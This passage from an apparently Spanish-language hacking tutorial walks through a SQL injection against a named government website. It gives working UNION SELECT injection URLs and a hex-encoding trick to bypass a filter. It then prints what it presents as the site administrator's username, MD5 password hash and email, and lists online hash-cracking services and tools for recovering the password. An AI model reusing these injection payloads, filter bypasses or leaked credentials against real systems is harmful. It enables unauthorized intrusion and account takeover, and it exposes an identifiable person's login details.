[+]Para los que se preguntaran como encryptar las tablas de interés, les deja una pagina web que ofrece esos servicios la cual es: http://encodertool.com/hexadecimal algo que se me paso seria que cuando pongan el código hexadecimal siempre hay que agregarle al principio "0x" quedando de la siguiente manera ( 0x6f73695f7573756172696f ) para que lo reconozca como código hexadecimal si no lo ponen fijo les tira un error de sintaxis.

7- Lo siguiente que haremos sera sacar las columnas de la tabla (osi_usuario) y lo haremos de la siguiente manera. ya reduciendo lo que es la inyección ya que tenemos los datos de la tabla (osi_usuario), y armaremos la inyección como normalmente lo haría cualquier usuario que ah hecho una inyección SQLi quedando la inyección así:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,concat(usu_username,0x3a,usu_password,0x3a,usu_email),2,3,4
+from+osi_usuario--+

Si observan bien la inyección se reducio ya que solo dejamos ( concat ) y las columnas de la tabla (OSI_USUARIO) yo elegí las mas importantes en este caso son: ( usu_username,usu_password,usu_email ) y bien miran al lado tienen un codigo en Hexa que son

( 0x3a ) este código es una simple coma "," & unos simples 2 puntos ":" esto nos sirva para cuando nos tire los datos de esas columnas lo haga ordenadamente por ejemplo: USUARIO:PASS  Bueno si ejecutamos la inyección antes mencionada nos tiene que salir ya los datos de esas columnas y tiene que salir algo como esto:
[+]Oops...! Nos salio un error y se preguntaran ahora que carajo hacemos pues bien esta pagina la agarre por eso ya que cuando uno llegaba a este punto de la inyección nos tiraba ese error y eso por que hay un filtro que nos impide inyectar esas sentencias por que si bien se an fijado ya son los datos del administrador y creo que nos pusieron a pensar un poco como byppasear ese filtro, es por eso que este pequeño detalle hace diferente este tutorial ya que por lo general todos los manuales & tutoriales son las típicas inyecciones sin restricciones y es aquí cuando el usuario queda en las nubes así que para byppasear ese filtro lo que haremos sera meterle a la inyección otras sentencias las cuales son: " unhex(hex " con esta sentencia lo que le diremos a la inyección es que nos lea los datos en hexadecimal y así pasar desapercibido el filtro así de sencillo y lo ponemos de la siguiente manera quedando asi:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,unhex(hex(group_concat(usu_username,0x3a,usu_password,0x3a,usu_email))),2,3,4+from+osi_usuario--+

[+]Si lo ven lo pusimos al inicio de group_concat abriendo 2 corchetes y haciendo el cierre del mismo. y es ahí donde nos tiene que aparecer ya los datos del administrador en este caso seria el,

USUARIO,PASSWORD,CORREO. quedando así como en la captura:
[+]Listo datos ya en nuestro poder como ven nos arrojo el usuario la pass encryptada en MD5 y el correo ahora como nos arrojo la pass encryptada en MD5 el siguiente paso seria buscar como desencryptar dicha pass y los datos obtenido son los siguientes:

*Usuario: adminosinfor
*Password: b1d3c55bf7f44d4def7afd2686c1a3d8
*Email: hbejarano@osinfor.gob.pe


*Ahora les dejare unas paginas Online donde podrán desencryptar la pass:
*Pero también existen Scripts en PERL,PHYTON  que nos hacen ese trabajo también existen muchos software que lo hacen por diccionario como el HashCat muy bueno lo recomiendo.

http://www.hashchecker.de/

http://md5.rednoize.com/
http://md5.noisette.ch/
https://md5.darkbyte.ru/
http://www.hash-cracker.com/
http://www.unmd5.me/
http://md5decrypter.co.uk/
http://www.stringfunction.com/md5-decrypter.html
http://www.md5decrypt.org/

[+]Luego que tengamos el password ya desencryptada lo que haremos sera buscar el panel de control de dicha pagina web, esto también lo haremos con loa ayuda de unos scripts también algunos programas lo traen como el Havij. pero esto se lo debo para el siguiente tutorial, como buscar un panel de control de X web con diferentes métodos así que esperen el tutorial, también les ensenare como usar los scripts que hacen lo mismo buscan el panel del administrador. Asi que esto ah sido todo espero les haya ayudado en algo y como dije anteriormente este tutorial es algo especial ya que aprendimos byppasear 1 filtro mas adelante también les ensenare bypasear otros que nos molestan cuando estamos realizando nuestras inyecciones.!